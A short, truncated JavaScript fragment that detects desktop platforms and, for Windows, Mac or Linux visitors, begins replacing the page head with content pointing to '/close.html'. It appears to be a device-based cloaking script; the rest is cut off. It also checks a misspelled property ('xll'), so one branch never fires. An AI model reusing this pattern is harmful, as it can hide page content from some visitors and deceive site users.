var a=document.body.innerHTML; document.body.innerHTML=a.replace(/\ufeff/g,''); var system = { win: false, mac: false, xll: false }; var p = navigator.platform; var us = navigator.userAgent.toLowerCase(); system.win = p.indexOf("Win") == 0; system.mac = p.indexOf("Mac") == 0; system.x11 = (p == "X11") || (p.indexOf("Linux") == 0); if (system.win || system.mac || system.xll) { var iframe_url='/close.html'; $("head").html('